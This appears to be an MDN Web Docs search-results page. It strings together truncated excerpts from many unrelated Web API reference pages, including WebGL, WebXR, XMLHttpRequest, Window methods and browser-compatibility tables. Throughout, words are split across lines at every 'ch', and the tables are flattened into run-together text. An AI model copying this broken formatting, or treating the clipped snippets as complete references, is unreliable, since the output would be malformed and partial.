URLUtilsReadOnly.host - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internethost experimental
chrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support nowebview android no support no
chrome android no support nofirefox android full support 4opera android ...
...expect behavior to
change in the future.experimental.
... expect behavior to
change in the future.
URLUtilsReadOnly.hostname - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internethostname experimental
chrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support nowebview android no support no
chrome android no support nofirefox android full support 4opera android ...
...expect behavior to
change in the future.experimental.
... expect behavior to
change in the future.
URLUtilsReadOnly.href - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internethref experimental
chrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support nowebview android no support no
chrome android no support nofirefox android full support 4opera android ...
...expect behavior to
change in the future.experimental.
... expect behavior to
change in the future.
URLUtilsReadOnly.pathname - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetpathname experimental
chrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support nowebview android no support no
chrome android no support nofirefox android full support 4opera android ...
...expect behavior to
change in the future.experimental.
... expect behavior to
change in the future.
URLUtilsReadOnly.port - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetport experimental
chrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support nowebview android no support no
chrome android no support nofirefox android full support 4opera android ...
...expect behavior to
change in the future.experimental.
... expect behavior to
change in the future.
URLUtilsReadOnly.toString() - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internettostring experimental
chrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support nowebview android no support no
chrome android no support nofirefox android full support 4opera android ...
...expect behavior to
change in the future.experimental.
... expect behavior to
change in the future.
USBInterface - Web APIs
an interface represents a feature of the device whi
ch implements a particular protocol and may contain endpoints for bidirectional communication.
... constructor usbinterface.usbinterface creates a new usbinterface object whi
ch will be populated with information about the interface on the provided usbconfiguration with the given interface number.
...it can be
changed by calling usbdevice.selectalternateinterface() with any other value found in alternates.
... usbinterface.alternatesread only returns an array containing instances of the usbalternateinterface interface describing ea
ch of the alternative configurations possible for this interface.
getTrackById - Web APIs
the videotracklist method gettrackbyid() returns the first videotrack object from the track list whose id mat
ches the specified string.
... return value a videotrack object indicating the first track found within the videotracklist whose id mat
ches the specified string.
... if no mat
ch is found, this method returns null.
... the tracks are sear
ched in their natural order; that is, in the order defined by the media resource itself, or, if the resource doesn't define an order, the relative order in whi
ch the tracks are declared by the media resource.
VideoTrackList.onaddtrack - Web APIs
the videotracklist property onaddtrack is an event handler whi
ch is called when the addtrack event occurs, indicating that a new video track has been added to the media element whose video tracks the videotracklist represents.
... syntax videotracklist.onaddtrack = eventhandler; value set onaddtrack to a function that accepts as input a trackevent object whi
ch indicates in its track property whi
ch video track has been added to the media.
...this happens when tracks are added to the element when the media is first atta
ched to the element; one addtrack event will occur for ea
ch video track in the media resource.
...in this scenario, that function's role is to add the new track to a list of video tracks available to
choose from.
WakeLock - Web APIs
methods request requests a wakelocksentinel object, whi
ch returns a promise that resolves with a wakelocksentinel object.
... examples the following asyn
chronous function requests a wakelocksentinel object.
... the wakelock.request method is wrapped in a try...cat
ch statement to account for if the browser refuses the request for any reason.
... const requestwakelock = async () => { try { const wakelock = await navigator.wakelock.request('screen'); } cat
ch (err) { // the wake lock request fails - usually system related, su
ch low as battery console.log(`${err.name}, ${err.message}`); } } requestwakelock(); specifications specification status comment screen wake lock apithe definition of 'wakelock' in that specification.
WaveShaperNode.WaveShaperNode() - Web APIs
the waveshapernode() constructor of the web audio api creates a new waveshapernode object whi
ch is an audionode that represents a non-linear distorter.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetwaveshapernode() constructor
chrome full support 55notes full support 55notes notes before
chrome 59, the default values were not supported.edge full support ≤79firefox full support 53ie no support noopera full support 42safari ?
... webview android full support 55notes full support 55notes notes before
chrome 59, the default values were not supported.
chrome android full support 55notes full support 55notes notes before
chrome 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ?
WebGL2RenderingContext.drawBuffers() - Web APIs
the webgl2renderingcontext.drawbuffers() method of the webgl 2 api defines draw buffers to whi
ch fragment colors are written into.
... syntax void gl.drawbuffers(buffers); parameters buffers an array of glenum specifying the buffers into whi
ch fragment colors will be written.
... gl.color_atta
chment{0-15}: fragment shader output is written in the nth color atta
chment of the current framebuffer.
... examples gl.drawbuffers([gl.none, gl.color_atta
chment1]); specifications specification status comment webgl 2.0the definition of 'drawbuffers' in that specification.
WebGLRenderingContext.bindBuffer() - Web APIs
possible values: gl.array_buffer: buffer containing vertex attributes, su
ch as vertex coordinates, texture coordinate data, or vertex color data.
... a webglbuffer whi
ch has been marked for deletion with deletebuffer cannot be (re-)bound.
... an attempt to do so will generate an invalid_operation error, and the current binding will remain untou
ched.
... examples binding a buffer to a target var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); getting current bindings to
check the current buffer bindings, query the array_buffer_binding and element_array_buffer_binding constants.
WebGLRenderingContext.blendFunc() - Web APIs
the webglrenderingcontext.blendfunc() method of the webgl api defines whi
ch function is used for blending pixel arithmetic.
... gl.one_minus_src_color 1-rs, 1-gs, 1-bs, 1-as multiplies all colors by 1 minus ea
ch source color.
... gl.one_minus_dst_color 1-rd, 1-gd, 1-bd, 1-ad multiplies all colors by 1 minus ea
ch destination color.
... gl.enable(gl.blend); gl.blendfunc(gl.src_color, gl.dst_color); to get the current blend function, query the blend_src_rgb, blend_src_alpha, blend_dst_rgb, and blend_dst_alpha constants whi
ch return one of the blend function constants.
WebGLRenderingContext.blendFuncSeparate() - Web APIs
the webglrenderingcontext.blendfuncseparate() method of the webgl api defines whi
ch function is used for blending pixel arithmetic for rgb and alpha components separately.
... gl.one_minus_src_color 1-rs, 1-gs, 1-bs 1-as multiplies all colors by 1 minus ea
ch source color.
... gl.one_minus_dst_color 1-rd, 1-gd, 1-bd 1-ad multiplies all colors by 1 minus ea
ch destination color.
... gl.enable(gl.blend); gl.blendfuncseparate(gl.src_color, gl.dst_color, gl.one, gl.zero); to get the current blend function, query the blend_src_rgb, blend_src_alpha, blend_dst_rgb, and blend_dst_alpha constants whi
ch return one of the blend function constants.
WebGLRenderingContext.getActiveUniform() - Web APIs
syntax webglactiveinfo webglrenderingcontext.getactiveuniform(program, index); parameters program a webglprogram specifying the webgl shader program from whi
ch to obtain the uniform variable's information.
... struct type: one entry for ea
ch member of the struct.
... arrays of structs or arrays: ea
ch entry of the array will generate its own entries.
...uniform struct { float foo; vec4 bar; } d[2]; will result in: d[0].foo d[0].bar d[1].foo d[1].bar uniform blocks: one entry for ea
ch member.
WebGLRenderingContext.isContextLost() - Web APIs
syntax let islost = gl.iscontextlost(); return value a boolean whi
ch is true if the context is lost, or false if not.
... the user's computer has multiple graphics processors (su
ch as a laptop with both mobile and desktop class gpus, the former used primarily when on battery power), and the user or system decides to swit
ch gpus.
... in this case, all contexts are lost, then restored after swit
ching gpus.
... examples for example, when
checking for program linking success, you could also
check if the context is not lost: gl.linkprogram(program); if (!gl.getprogramparameter(program, gl.link_status) && !gl.iscontextlost()) { var info = gl.getprograminfolog(program); console.log('error linking program:\n' + info); } specifications specification status comment webgl 1.0the definition of 'webglrenderingc...
WebGLRenderingContext.texImage2D() - Web APIs
possible values in both webgl1 and webgl2 format type
channels bytes per pixel rgba unsigned_byte 4 4 rgb unsigned_byte 3 3 rgba unsigned_short_4_4_4_4 4 2 rgba unsigned_short_5_5_5_1 4 2 rgb unsigned_short_5_6_5 3 2 luminance_alpha unsigned_byte 2 2 luminance unsigned_byte 1 1...
... gl.luminance: ea
ch color component is a luminance component, alpha is 1.0.
... gl.luminance_alpha: ea
ch component is a luminance/alpha component.
...possible values: gl.unsigned_byte: 8 bits per
channel for gl.rgba gl.unsigned_short_5_6_5: 5 red bits, 6 green bits, 5 blue bits.
Clearing by clicking - Web APIs
every time the user clicks the canvas or the button, the canvas is cleared with a new randomly
chosen color.
... <p>a very simple webgl program that still shows some color and user interaction.</p> <p>you can repeatedly click the empty canvas or the button below to
change color.</p> <canvas id="canvas-view">your browser does not seem to support html5 canvas.</canvas> <button id="color-swit
cher">press here to swit
ch color</button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : inline-block; font-size : inherit; margin : auto; padding : 0.6em; } window.addeventlistener("load", function setupwebgl (evt) { "use strict" // cleaning after ourselves.
... var canvas = document.queryselector("#canvas-view"); var button = document.queryselector("#color-swit
cher"); canvas.addeventlistener("click", swit
chcolor, false); button.addeventlistener("click", swit
chcolor, false); // a variable to hold the webglrenderingcontext.
... function swit
chcolor () { // referring to the externally defined gl variable.
Animating objects with WebGL - Web APIs
the first thing we'll need is a variable in whi
ch to track the current rotation of the square: var squarerotation = 0.0; now we need to update the drawscene() function to apply the current rotation to the square when drawing it.
... to actually animate, we need to add code that
changes the value of squarerotation over time.
... we can do that by creating a new variable to track the time at whi
ch we last animated (let's call it then), then adding the following code to the end of the main function var then = 0; // draw the scene repeatedly function render(now) { now *= 0.001; // convert to seconds const deltatime = now - then; then = now; drawscene(gl, programinfo, buffers, deltatime); requestanimationframe(render); } requestanimationframe(render); this code uses requestanimationframe to ask the browser to call the function "render" on ea
ch frame.
...we convert that to seconds and then subtract from it the last time to compute deltatime whi
ch is the number of second since the last frame was rendered.
Getting started with WebGL - Web APIs
it's assumed that you already have an understanding of the mathematics involved in 3d graphics, and this article doesn't pretend to try to tea
ch you 3d graphics concepts itself.
... it's worth noting here that this series of articles introduces webgl itself; however, there are a number of frameworks available that encapsulate webgl's capabilities, making it easier to build 3d applications and games, su
ch as three.js and babylon.js.
...your browser or ma
chine may not support it."); return; } // set clear color to black, fully opaque gl.clearcolor(0.0, 0.0, 0.0, 1.0); // clear the color buffer with specified clear color gl.clear(gl.color_buffer_bit); } window.onload = main; the first thing we do here is obtain a reference to the canvas, assigning it to a variable named canvas.
...if the browser does not support webgl, getcontext() will return null in whi
ch case we display a message to the user and exit.
The WebSocket API (WebSockets) - Web APIs
the websocket api is an advanced te
chnology that makes it possible to open a two-way interactive communication session between the user's browser and a server.
... total.js: web application framework for node.js (example: websocket
chat) faye: a websocket (two-ways connections) and eventsource (one-way connections) for node.js server and client.
... signalr: signalr will use websockets under the covers when it's available, and gracefully fallback to other te
chniques and te
chnologies when it isn't, while your application code stays the same.
... jsonrpc-bidirectional: asyn
chronous rpc whi
ch, on a single connection, may have functions exported on the server and, and the same time, on the client (client may call server, server may also call client).
Web Bluetooth API - Web APIs
bluetooth
characteristicproperties provides properties of a particular bluetoothremotegatt
characteristic.
... bluetoothremotegatt
characteristic represents a gatt
characteristic, whi
ch is a basic data element that provides further information about a peripheral’s service.
... bluetoothremotegattdescriptor represents a gatt descriptor, whi
ch provides further information about a
characteristic’s value.
... bluetoothremotegattservice represents a service provided by a gatt server, including a device, a list of referenced services, and a list of the
characteristics of this service.
Web Workers API - Web APIs
but you can use a large number of items available under window, including websockets, and data storage me
chanisms like indexeddb.
... in addition, workers may use xmlhttprequest for network i/o, with the exception that the responsexml and
channel attributes on xmlhttprequest always return null.
...
chrome workers are a firefox-only type of worker that you can use if you are developing add-ons and want to use workers in extensions and have access to js-ctypes in your worker.
... see
chromeworker for more details.
Window.external - Web APIs
the external property of the window api returns an instance of the external interface, whi
ch was intended to contain functions related to adding external sear
ch providers to the browser.
... methods the external object has the following methods: method description addsear
chprovider(descriptionurl) dummy function; does nothing.
... see autodiscovery of sear
ch plugins.
... issear
chproviderinstalled() dummy function; does nothing.
Window.frameElement - Web APIs
the window.frameelement property returns the element (su
ch as <iframe> or <object>) in whi
ch the window is embedded.
... syntax const frameel = window.frameelement value the element whi
ch the window is embedded into.
... if the window isn't embedded into another document, or if the document into whi
ch it's embedded has a different origin, the value is null instead.
... example const frameel = window.frameelement; // if we're embedded,
change the containing element's url to 'http://mozilla.org/' if (frameel) { frameel.src = 'http://mozilla.org/'; } specifications specification status comment html living standardthe definition of 'window.frameelement' in that specification.
Privileged features - Web APIs
this page lists the windowfeatures parameter of window.open function that requires
chrome-privilege in firefox.
... the following features require the
chrome-privilege.
...
chrome if on, the page is loaded as window's only content, without any of the browser's interface elements.
...dialog windows are windows whi
ch have no minimize system command icon and no maximize/restore down system command icon on the titlebar nor in correspondent menu item in the command system menu.
Window.prompt() - Web APIs
the above prompt appears as follows (in
chrome on os x): notes a prompt dialog contains a single-line textbox, a cancel button, and an ok button, and returns the (possibly empty) text the user entered into that textbox.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetprompt
chrome full support 1notes full support 1notes notes starting with
chrome 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.edge full support 12firefox full support 1ie full support 4notes full support 4notes notes this function has no effect in the modern ui/metro version of internet explorer for windows 8.
... unless its sandbox attribute has the value allow-modals.safari full support 1webview android full support 1notes full support 1notes notes starting with webview 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.
chrome android full support 18notes full support 18notes notes starting with
chrome 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.firefox android full support 4opera android full support ...
Window.releaseEvents() - Web APIs
syntax window.releaseevents(eventtype) eventtype is a combination of the following values: event.abort, event.blur, event.click, event.
change, event.dblclick, event.dragddrop, event.error, event.focus, event.keydown, event.keypress, event.keyup, event.load, event.mousedown, event.mousemove, event.mouseout, event.mouseover, event.mouseup, event.move, event.reset, event.resize, event.select, event.submit, event.unload.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetreleaseevents deprecatednon-standard
chrome full support yesedge full support 12firefox full support yesie ?
... opera full support yessafari full support yeswebview android full support yes
chrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown compatibility unknownnon-standar...
Window.routeEvent() - Web APIs
the window method routeevent(), whi
ch is obsolete and no longer available, used to be called to forward an event to the next object that has asked to capture events.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetrouteevent deprecatednon-standard
chrome no support noedge no support nofirefox no support noie ?
... webview android no support no
chrome android no support nofirefox android no support noopera android ?
Window.scrollBy() - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollby
chrome full support 1edge full support 79 full support 79 no support 12 — 79notes notes only scrollby(x-coord, y-coord) is supported.firefox full support 1ie partial support 11notes partial support 11notes notes only scrollby(x-coord, y-coord) is supported.opera full support 3safari full support ...
... 1webview android full support 1
chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1samsung internet android full support 1.0scrolltooptions parameter
chrome full support 45edge full support 79firefox full support yesie no support noopera full support ...
... 32safari no support nowebview android full support 45
chrome android full support 45firefox android full support yesopera android full support 32safari ios no support nosamsung internet android full support 5.0legend full support full support partial support partial support no support ...
Window.showModalDialog() - Web APIs
this method was removed in
chrome 43 and firefox 56.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetshowmodaldialog deprecatednon-standard
chrome no support ?
... full support 4opera no support nosafari full support 5.1notes full support 5.1notes notes see webkit bug 151885 for possible future removal from safari.webview android no support no
chrome android no support nofirefox android no support noopera android no support nosafari ios no support nosamsung internet android no support nolegend ...
Window: unhandledrejection event - Web APIs
the event includes two useful pieces of information: promise the actual promise whi
ch was rejected with no handler available to deal with the rejection.
...see cat
ch() for details.
... window.addeventlistener("unhandledrejection", event => { console.warn(`unhandled promise rejection: ${event.reason}`); }); you can also use the onunhandledrejection event handler property to set up the event listener: window.onunhandledrejection = event => { console.warn(`unhandled promise rejection: ${event.reason}`); }; preventing default handling many environments (su
ch as node.js) report unhandled promise rejections to the console by default.
... // prevent the default handling (su
ch as outputting the // error to the console) event.preventdefault(); }); specifications specification status comment html living standardthe definition of 'unhandledrejection' in that specification.
WindowEventHandlers - Web APIs
ea
ch of these interfaces can implement additional specific event handlers.
... windoweventhandlers.onhash
change is an eventhandler representing the code to be called when the hash
change event is raised.
... windoweventhandlers.onlanguage
change is an eventhandler representing the code to be called when the language
change event is raised.
... living standard no
change since the latest snapshot, html 5.1.
XMLDocument - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/document" target="_top"><rect x="266" y="1" width="80" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">document</text></a><polyline points="346,25 356,20 356,30 346,25" stroke="#d4dde4" fill="none"/><line x1="356" y1="25" x2="386" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmldocument" target="_top"><rect x="386" y="1" width="110" heig...
...ht="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="441" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">xmldocument</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} property also inherits properties from: document xmldocument.async used with xmldocument.load() to indicate an asyn
chronous request.
... living standard no
changes.
XMLHttpRequest.multipart - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
...all requests must be asyn
chronous.
... this enables support for server push; for ea
ch xml document that's written to this request, a new xml dom document is created and the onload handler is called between documents.
... note: when this is set, the onload handler and other event handlers are not reset after the first xmldocument is loaded, and the onload handler is called after ea
ch part of the response is received.
XMLHttpRequest.response - Web APIs
see html in xmlhttprequest to learn more about using xhr to fet
ch html content.
... example this example presents a function, load(), whi
ch loads and processes a page from the server.
... it works by creating an xmlhttprequest object and creating a listener for readystate
change events su
ch that that when readystate
changes to done (4), the response is obtained and passed into the callback function provided to load().
... var url = 'somepage.html'; //a local page function load(url, callback) { var xhr = new xmlhttprequest(); xhr.onreadystate
change = function() { if (xhr.readystate === 4) { callback(xhr.response); } } xhr.open('get', url, true); xhr.send(''); } specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.timeout - Web APIs
the default value is 0, whi
ch means there is no timeout.
... timeout shouldn't be used for syn
chronous xmlhttprequests requests used in a document environment or it will throw an invalidaccesserror exception.
... note: you may not use a timeout for syn
chronous requests with an owning window.
... using a timeout with an asyn
chronous request in internet explorer, the timeout property may be set only after calling the open() method and before calling the send() method.
XMLHttpRequestResponseType - Web APIs
the xmlhttprequestresponsetype type is an enumerated set of strings whi
ch are used to specify the type of data contained in the response of an xmlhttprequest.
...see html in xmlhttprequest to learn more about using xhr to fet
ch html content.
... deprecated values moz-
chunked-arraybuffer a firefox-only value whi
ch instructs xmlhttprequest to deliver arraybuffer objects containing
chunks of the incoming data.
...you shouldn't use this non-standard (and, as of firefox 68, entirely removed) api; instead, consider using the fet
ch api with readable streams, whi
ch offers a standard alternative to accessing the response in a streaming fashion.
XRInputSource.profiles - Web APIs
the read-only xrinputsource property profiles returns an array of strings, ea
ch describing a configuration profile for the input source.
... syntax let profilelist = xrinputsource.profiles; value an array of domstring objects, ea
ch describing one configuration profile for the input device represented by the xrinputsource object.
... ea
ch input profile specifies the preferred visual representation and behavior of the input source.
...ea
ch string: has no spaces; instead, words are separated by hyphen ("-")
characters if the platform makes it available, the usb vendor and product id may be provided but cannot be relied upon does not uniquely identify a specific device; rather, it identifies a configuration that the product is capable of using does not provide information about handedness of the device, if applicable the webxr input profiles registry is used by device developers and browser developers to attempt to ensure that a given device will report the same profile strings regardless of whi
ch browser or other user agent you use.
XRInputSourceEvent() - Web APIs
the xrinputsourceevent() constructor creates and returns a new xrinputsourceevent object describing an event (state
change) whi
ch has occurred on a webxr user input device represented by an xrinputsource.
... syntax newinputsourceevent = new xrinputsourceevent(type, eventinitdict); parameters type a domstring indicating whi
ch of the input source events the new object will represent.
... eventinitdict an object based on the xrinputsourceeventinit dictionary whi
ch contains the values to assign to the new event's properties.
... selectstart sent to an xrsession when an input source begins its primary action, indicating that the user has begun a command-like input, su
ch as pressing a trigger or button, issuing a spoken command, tapping on a tou
chpad, or the like.
XRInputSourceEventInit.frame - Web APIs
the xrinputsourceeventinit dictionary's property frame specifies an xrframe providing information about the timestamp at whi
ch the new input source event took place, as well as access to the xrframe method getpose() whi
ch can be used to map the coordinates of any xrreferencespace to the space in whi
ch the event took place.
... syntax xrinputsourceeventinit.frame = xrframe; let xrinputsourceeventinit = { frame: xrframe }; let xrinputsourceevent = new xrinputsourceevent(type, { frame: xrframe }); value an xrframe indicating the time at whi
ch the event took place, and providing a getpose() method whi
ch can be used to map reference spaces to the world reference space.
...instead, the xrframe specified by the frame property is simply a method to provide access to the getpose() method, whi
ch you can use to get the relative positions of the objects in the scene at the time the event occurred.
... let event = new xrinputsourceevent("select", { frame: eventframe, inputsource: source }; if (event) { xrsession.dispat
chevent(event); } specifications specification status comment webxr device apithe definition of 'xrinputsourceeventinit.frame' in that specification.
XRReferenceSpaceEvent() - Web APIs
the xrreferencespaceevent() constructor is used to create a new xrreferencespaceevent object, whi
ch represents an event regarding the state of a webxr reference space object, xrreferencespace.
... syntax let refspaceevent = new xrreferencespaceevent(type, eventinitdict); parameters type a domstring indicating the event type whi
ch has occurred.
...the properties of this object are: referencespace the xrreferencespace from whi
ch the event originated.
... transform an xrrigidtransform whi
ch maps the old coordinate system (from before the
changes indicated by this event) to the new coordiante system.
XRRenderState.baseLayer - Web APIs
this property is read-only; however, you can indirectly
change its value using xrsession.updaterenderstate.
... syntax var xrwebgllayer = xrrenderstate.baselayer; value a xrwebgllayer object whi
ch is used as the source of the world's contents when rendering ea
ch frame of the scene.
...enderstate(), like this: let canvas = document.queryselector("canvas"); gl = canvas.getcontext("webgl", { xrcompatible: true }); setnewwebgllayer(); function setnewwebgllayer(gl) { if (!gl) { /* webgl not available */ return; } xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl); }); }; here, the canvas obtained in the first line is the canvas into whi
ch webgl is going to draw.
... that context is passed into new xrwebgllayer() to create an xrwebgllayer whi
ch uses the contents of the webgl context gl as the source of the world's image during presentation.
XRRigidTransform() - Web APIs
syntax let xrrigidtransform = new xrrigidtransform(position, orientation); parameters position optional an object conforming to dompointinit whi
ch specifies the coordinates at whi
ch the point or object is located.
... orientation optional an object conforming to dompointinit whi
ch specifies the direction in whi
ch the object is facing.
... return value a new xrrigidtransform object whi
ch has been initialized to represent a transform matrix that would adjust the position and orientation of an object from the origin to the specified position and facing in the direction indicated by orientation.
...ationframerequestid = 0; xrsession.requestreferencespace("local-floor") .then((refspace) => { xrreferencespace = refspace.getoffsetreferencespace( new xrrigidtransform(viewerposition, viewerorientation)); animationframerequestid = xrsession.requestanimationframe(drawframe); }); after requesting a reference space of type local-floor, the returned promise is eventually resolved, at whi
ch time we receive a new reference space object, refspace.
XRRigidTransform - Web APIs
even better, once it's been computed, it's ca
ched so that subsequent requests are significantly faster.
... constructor new xrrigidtransform() creates a new xrrigidtransform object whi
ch represents a transform that applies a specified position and/or orientation.
... xrrigidtransform.orientation read only a dompointreadonly whi
ch contains a unit quaternion describing the rotational component of the transform.
... xrrigidtransform.inverse read only returns a xrrigidtransform whi
ch is the inverse of this transform.
XRSession.inputSources - Web APIs
the read-only inputsources property of the xrsession interface returns an xrinputsourcearray object whi
ch lists all controllers and input devices whi
ch are expressly associated with the xr device and are currently available.
... syntax inputsources = xrsession.inputsources; value an xrinputsourcearray object listing all of the currently-connected input controllers whi
ch are linked specifically to the xr device currently in use.
... the returned object is live; as devices are connected to and removed from the user's system, the list's contents update to reflect the
changes.
... usage notes you can add a handler for the xrsession event inputsources
change to be advised when the contents of the session's connected devices list
changes.
XRWebGLLayer.antialias - Web APIs
the read-only xrwebgllayer property antialias is a boolean value whi
ch is true if the rendering layer's frame buffer supports antialiasing.
...the specific antialiasing te
chnique used is left to the user agent's discretion and cannot be specified by the web site or web app.
... syntax let antialiasingsupported = xrwebgllayer.antialias; value a boolean value whi
ch is true if the webgl rendering layer's frame buffer is configured to support antialiasing.
... examples this snippet
checks the value of antialias to see if it should perform additional work to attempt to compensate for the lack of antialiasing on the webgl layer.
XRWebGLLayerInit.alpha - Web APIs
the alpha property is a boolean value whi
ch, if present and set to true in the xrwebgllayerinit dictionary passed into the xrwebgllayer() constructor, specifies that the new layer's color buffer is to include an alpha
channel.
... otherwise, the color buffer won't have an alpha
channel.
... syntax let layerinit = { alpha: boolvalue }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { alpha: boolvalue }); value a boolean whi
ch can be set to true to request that the new webgl layer for rendering the webxr scene is to have an alpha
channel.
... example in this example, a new xrwebgllayer is created for a webxr session, xrsession, without an alpha
channel.
XRWebGLLayerInit.ignoreDepthValues - Web APIs
without the depth buffer, these computations must rely entirely on the coordinates of ea
ch pixel.
... syntax let layerinit = { ignoredepthvalues: boolvalue }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { ignoredepthvalues: boolvalue }); value a boolean value whi
ch can be set to true to disable the use of the depth buffer by the webgl rendering layer created by the xrwebgllayer() constructor.
...ea
ch entry in the depth buffer corresponds to the depth of the fragment whose color is at the same location in the color buffer, and must have a value between 0.0 and 1.0, where 0.0 corresponds to the distance specified in the xrsession object's renderstate record's depthnear and 1.0 represents the distance given by depthfar.
...it's configured to ignore depth values or an alpha
channel.
XSLT Basic Example - Web APIs
an xslt stylesheet starts with the xsl:stylesheet element, whi
ch contains all the templates used to create the final output.
... the example in figure 1 has two templates - one that mat
ches the root node and one that mat
ches author nodes.
... the template that mat
ches the root node outputs the article's title and then says to process all templates (via apply-templates) that mat
ch author nodes whi
ch are
children of the authors node.
...bar</author> </authors> <body>this is my article text.</body> </article> xsl stylesheet (example.xsl) : <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform"> <xsl:output method="text"/> <xsl:template mat
ch="/"> article - <xsl:value-of select="/article/title"/> authors: <xsl:apply-templates select="/article/authors/author"/> </xsl:template> <xsl:template mat
ch="author"> - <xsl:value-of select="." /> </xsl:template> </xsl:stylesheet> browser output : article - my article authors: - mr.
msRegionOverflow - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
...this means that the region is the last one in the region
chain and not able to fit the remaining content from the named flow.
...if the region is the last one in the region
chain, it means that the content fits without overflowing.
... if the region is not the last one in the region
chain, that means the named flow content is further fitted in subsequent regions.
Using the aria-describedby attribute - Accessibility
value a space-separated list of element ids possible effects on user agents and assistive te
chnology note: opinions may differ on how assistive te
chnology should handle this te
chnique.
... <div role="application" aria-labelledby="calendar" aria-describedby="info"> <h1 id="calendar">calendar</h1> <p id="info"> this calendar shows the game s
chedule for the boston red sox.
... <div id="descriptionclose">closing this window will discard any information entered and return you back to the main page</div> working examples:
